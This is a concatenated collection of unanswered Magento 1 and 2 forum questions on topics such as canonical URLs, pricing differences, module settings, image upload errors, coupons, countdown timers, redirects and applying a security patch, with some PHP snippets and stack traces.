In other words, what are you doing to ensure your code respects the coding standards and best practices ?

Thanks.


texts: What is the SEO Recommended canonical category of products?

texts: Have a question, what is the SEO Recommended in Magento 2.2.5 canonical category of products?


texts:
There is a different price in the catalog en the product.
In the catalog the product cost 21.48 euro and when i go to the product then the price is 23.21 euro.
The difference is not in the VAT, that is 25.99 euro incl.
Where does the difference in price from.

Who can help?


texts: i need my shipping methods from UPS to say an estimated delivery date (or range) do i need to extend Magento's core UPS API functionality or is this information already being retrieved and i just need to display it? my store is magento 1.9.3


texts: I disable a module while install, how to enable again? - Magento2

texts:
While I install Magento2, I choose disable Mage_notification module

how can I re enable this module again after complete install?

All the module I disable during install are not showing Config - Advanced - Advanced


texts: Get two previous and two next products as related products in magento1.9

texts:
How do I get two products that were added just before current product and two products that were added just after the current product in a same category as the related product?

Here is how I am fetching 4 related products from the same category in product view page. Right now it shows them in random order.

<?php
if ($_product) {
    $categories = $_product->getCategoryCollection()
        ->setPage(1, 1)
        ->load();
    if ($categories->count()) { ?>

Related Products:

        <?php foreach ($categories as $_category) {
            $cur_category = Mage::getModel('catalog/category')->load($_category->getId());
            ?>
            <?php $products = Mage::getResourceModel('catalog/product_collection')
                ->addCategoryFilter($_category)
                ->addAttributeToSelect('small_image');
            $products->getSelect()->limit(4);
            $products->getSelect()->order('rand()');

            foreach ($products as $productModel) {
                $_product = Mage::getModel('catalog/product')->load($productModel->getId());
                $width = 200;
                $height = 150;
                $_imageUrl = $this->helper('catalog/image')->init($productModel, 'small_image')->resize($width, $height);
                ?>

                    <a href="<?php echo $_product->getProductUrl() ?>" title="<?php echo $this->stripTags($this->getImageLabel($_product, 'small_image'), null, true) ?>">
                        <img src="<?php echo $this->helper('catalog/image')->init($_product, 'small_image')->resize(200, 100); ?>" width="200" height="150" alt="<?php echo $this->stripTags($this->getImageLabel($_product, 'small_image'), null, true) ?>"/>

<a href="<?php echo $_product->getProductUrl() ?>" title="<?php echo $this->htmlEscape($_product->getName()) ?>"><?php echo $this->htmlEscape($_product->getName()) ?>

            <?php }
        } ?>
    <?php }
}?>

Thanks


texts:
How can I override the default ajax loader gif in Magento 2?
I can only find answers to do this in Magento 1


texts: Remove short product description from Catalog page

texts:
I'm using Ubuntu 18.04 using php 7.3.15 and my Magneto 2 version is 2.3.3
Some of my short product descriptions seem to be overlaping the price in the Catalog.
I have been searching around Google and my Magento 2 admin panel but I doesn't seem to find if I can disable the short description from the Catalog page so that it doesn't overlap the price.
I stil want the short description on the product page.
Anyone got any ideas?
I've already checked at:

How do you remove the short product description from the product page Magento 2
https://www.templatemonster.com/help/magento-how-to-disable-short-description-field-for-products.html
https://www.shashidharkumar.com/remove-short-description-products-description-page/


texts: Does M1 ver 1.9.3.10 already includes the PHP 7.2 support patch? I want to know if I still need to install the PHP 7.2 support patch after installing 1.9.3.10.


texts:
I have a module using which I need to upload an image. However Magento does not allow that.This is the stack trace that I have obtained

Unable to create directory 'http://localhost/rajeev/magento/media/rktsizechart/sc'.

#0 /home/rajeev/public_html/magento/lib/Varien/File/Uploader.php(183): Varien_File_Uploader->_createDestinationFolder('http://localhos...')
#1 /home/rajeev/public_html/magento/app/code/local/Rkt/Sizechart/controllers/Adminhtml/Cms/SizechartController.php(130): Varien_File_Uploader->save('http://localhos...', 'guitar.jpg')
#2 /home/rajeev/public_html/magento/app/code/core/Mage/Core/Controller/Varien/Action.php(418): Rkt_Sizechart_Adminhtml_Cms_SizechartController->saveAction()
#3 /home/rajeev/public_html/magento/app/code/core/Mage/Core/Controller/Varien/Router/Standard.php(250): Mage_Core_Controller_Varien_Action->dispatch('save')
#4 /home/rajeev/public_html/magento/app/code/core/Mage/Core/Controller/Varien/Front.php(172): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_Http))
#5 /home/rajeev/public_html/magento/app/code/core/Mage/Core/Model/App.php(354): Mage_Core_Controller_Varien_Front->dispatch()
#6 /home/rajeev/public_html/magento/app/Mage.php(684): Mage_Core_Model_App->run(Array)
#7 /home/rajeev/public_html/magento/index.php(87): Mage::run('', 'store')
#8 {main}

Beautiful. Path looks ok. Then why it does not work. So I debugged more. The last error is thrown from Varien_File_Uploader->_createDestinationFolder(). This is the code that we can see there.

private function _createDestinationFolder($destinationFolder)
{
    if (!$destinationFolder) {
        return $this;
    }

    if (substr($destinationFolder, -1) == DIRECTORY_SEPARATOR) {
        $destinationFolder = substr($destinationFolder, 0, -1);
    }

    if (!(@is_dir($destinationFolder) || @mkdir($destinationFolder, 0777, true))) {
        throw new Exception("Unable to create directory '{$destinationFolder}'.");
    }
    return $this;
}

No need to look full code. I am damn sure this is the code that makes problem here

 mkdir($destinationFolder, 0777, true);

Now I dont know why it returns false here. I have tried to put some urls directly over there. I can see that, if I am pointing to outside media directory, it returns true.

media directory has 777  permission. Then how the hell is this happening ?

In general I want to know,

How can I properly debug magento uploading error ?

What are the main reasons that cause magento file uploadation not successful ?


texts:
How to create a coupon code that can be combined with other coupon codes?
I have a coupon code called '10dollars', it will take off a flat $10 from the cart.
It is an incentive for creating an account but it has to be able to be combined with other site wide coupon codes.  Can anyone help?


texts: Delete more than one product from shopping cart in Magento 2

texts: I just want to delete multiple products from shopping cart using single click.Thanks in Advance


texts: Magento1 How to set template for a widget?

texts: I have created a widget and I don't know how to set the phtml template for the widget.


texts: Magento2 - How to make custom module for customize maintenance mode?

texts:
I want to customize maintenance mode in Magento2.

Magento2 error message will be hide and my custom message will be visible.

If you know anything related to this then share with me.


texts: I am auditing magento 2 website performance using Chrome Audits. It warns to Remove unused CSS rules. Is it possible to fix that warning.


texts: Magento 2 Order ID missing from both both quote and sales_order tables

texts:
A client's site has been running for three years with order IDs being consistent with sales_order table's entity_id. A month ago, three order IDs were skipped all on the same day but hasn't happened again since.

I've read that missing/skipped order IDs is no cause for alarm though as I understand it, they should still appear in the quote tables. They were not there.

There weren't any changes to the step value, unless Magento can change them on its own and then revert back.

Is there any other reason for order IDs to get skipped?


texts: display timer countdown according to attribute value

texts:
right now i am displaying same countdown timer by default in all product view pages using below code.  but i need different countdown timers in every product pages according to value we set for the attribute.

using custom module , we set Date & time for the attribute : ecomdev_expiry_date

as May 11 2016 - 12 : 15: 15

if current date & time is May 10 2016 - 12 : 15: 15 , than in view page i want to display

Time left to Buy : 24: 00: 00 and it should keep on updating as 23 : 59: 59 , 23: 59, 58 so on as like :

phtml

<?php

$end_datetime='2016/06/10 12:15:15';

$date =  date( "Y/m/d H:i:s",strtotime($end_datetime));
$endstr= date(strtotime($date));

$nowstr = Mage::getModel('core/date')->timestamp(time());
$now =  date('Y/m/d H:i:s', $nowstr); ?>

script


texts: Redirect from html pages with trailing slash

texts:
Please provide me how to make a redirect in Magento if we add at the end of url trailing slash

http://example.com/blog.html/ to http://example.com/blog.html

Thank you.


texts:
i have problem with costumer Account

The account login page isn't work .. Any ideas?

Error: Invalid method Mage_Customer_Block_Form_Login

Invalid method Mage_Customer_Block_Form_Login::quoteEscape(Array
(
    [0] => Account aanmaken
)
)

Trace:

0 /app/design/frontend/base/default/template/recaptcha/persistent/customer/form/login.phtml(59): Varien_Object->__call('quoteEscape', Array)

1 /app/design/frontend/base/default/template/recaptcha/persistent/customer/form/login.phtml(59): Mage_Customer_Block_Form_Login->quoteEscape('Account aanmake...')

2 /app/code/core/Mage/Core/Block/Template.php(241): include('/home/darekli2/...')

3 /app/code/core/Mage/Core/Block/Template.php(272): Mage_Core_Block_Template->fetchView('frontend/base/d...')

4 /app/code/core/Mage/Core/Block/Template.php(286): Mage_Core_Block_Template->renderView()

5 /app/code/core/Mage/Core/Block/Abstract.php(863): Mage_Core_Block_Template->_toHtml()

6 /app/code/core/Mage/Core/Block/Text/List.php(43): Mage_Core_Block_Abstract->toHtml()

7 /app/code/core/Mage/Core/Block/Abstract.php(863): Mage_Core_Block_Text_List->_toHtml()

8 /app/code/core/Mage/Core/Block/Abstract.php(582): Mage_Core_Block_Abstract->toHtml()

9 /app/code/core/Mage/Core/Block/Abstract.php(526): Mage_Core_Block_Abstract->_getChildHtml('content', true)

10 /app/design/frontend/default/kallyas/template/page/1column.phtml(58): Mage_Core_Block_Abstract->getChildHtml('content')

11 /app/code/core/Mage/Core/Block/Template.php(241): include('/home/darekli2/...')

12 /app/code/core/Mage/Core/Block/Template.php(272): Mage_Core_Block_Template->fetchView('frontend/defaul...')

13 /app/code/core/Mage/Core/Block/Template.php(286): Mage_Core_Block_Template->renderView()

14 /app/code/core/Mage/Core/Block/Abstract.php(863): Mage_Core_Block_Template->_toHtml()

15 /app/code/core/Mage/Core/Model/Layout.php(555): Mage_Core_Block_Abstract->toHtml()

16 /app/code/core/Mage/Core/Controller/Varien/Action.php(390): Mage_Core_Model_Layout->getOutput()

17 /app/code/core/Mage/Customer/controllers/AccountController.php(131): Mage_Core_Controller_Varien_Action->renderLayout()

18 /app/code/core/Mage/Core/Controller/Varien/Action.php(419): Mage_Customer_AccountController->loginAction()

19 /app/code/core/Mage/Core/Controller/Varien/Router/Standard.php(250): Mage_Core_Controller_Varien_Action->dispatch('login')

20 /app/code/community/BalkeTechnologies/StoreMaintenance/Controller/Router/Standard.php(91): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_Http))

21 /app/code/core/Mage/Core/Controller/Varien/Front.php(176): BalkeTechnologies_StoreMaintenance_Controller_Router_Standard->match(Object(Mage_Core_Controller_Request_Http))

22 /app/code/core/Mage/Core/Model/App.php(354): Mage_Core_Controller_Varien_Front->dispatch()

23 /app/Mage.php(683): Mage_Core_Model_App->run(Array)

24 /index.php(87): Mage::run('', 'store')

25 {main}


texts: Magento sub store always redirects to default store after magento setup:di:compile, did this completely delete my sub store?

texts:
I am using Magento 2.

I can still see the sub store in the Magento backend and it has a URL as sample.example.com while the main store URL is example.com. It was working fine, the sub store was loosely based on the main store. I created a module for the main store and was told to try to go into developer mode and then do php magento setup:di:compile


texts:
can anyone help me to implementing a hotfix for PRODSECBUG-2198 on Magento open source 1.9 that doesn't require patching with supee-11086? For yet to be determined reasons, I haven't been able to install the previous four patches without causing a necessary extension to fail. I was ok with this because those patches fixed vulnerabilities which required a would be hacker to already have compromised an administrator account..

We have 1.9.2.2

Thanks!